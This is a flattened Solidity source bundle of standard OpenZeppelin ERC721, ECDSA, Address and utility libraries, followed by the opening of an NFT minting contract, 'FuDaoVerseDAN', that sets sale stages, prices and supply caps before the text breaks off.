string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract FuDaoVerseDAN is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using ECDSA for bytes32;
//NFT params
string public baseURI;
bool public revealed;
string public notRevealedUri;
IERC721 public OG;
//sale stages:
//stage 0: init(no minting)
//stage 1: free-mint
//stage 2: pre-sale, OGs are included in here
//stage 2.5: whitelisted can mint an extra 2, increase presaleMintMax to 4
//stage 3: public sale
Counters.Counter public tokenSupply;
uint8 public stage = 0;
mapping(uint256 => bool) public isOGMinted;
mapping(uint256 => uint8) public OGWhitelistMintCount;
uint256 public VIP_PASSES = 888;
uint256 public presaleSalePrice = 0.077 ether;
uint256 public presaleSupply = 6666;
uint256 public presaleMintMax = 2;
mapping(address => uint8) public presaleMintCount;
mapping(address => uint8) public vipMintCount; // For Whitelist Sale
mapping(address => uint256) public publicMintCount;
//public sale (stage=3)
uint256 public publicSalePrice = 0.088 ether;
uint256 public publicMintMax = 2;
uint256 public totalSaleSupply = 8888;
//others
bool public paused = false;
//sale holders
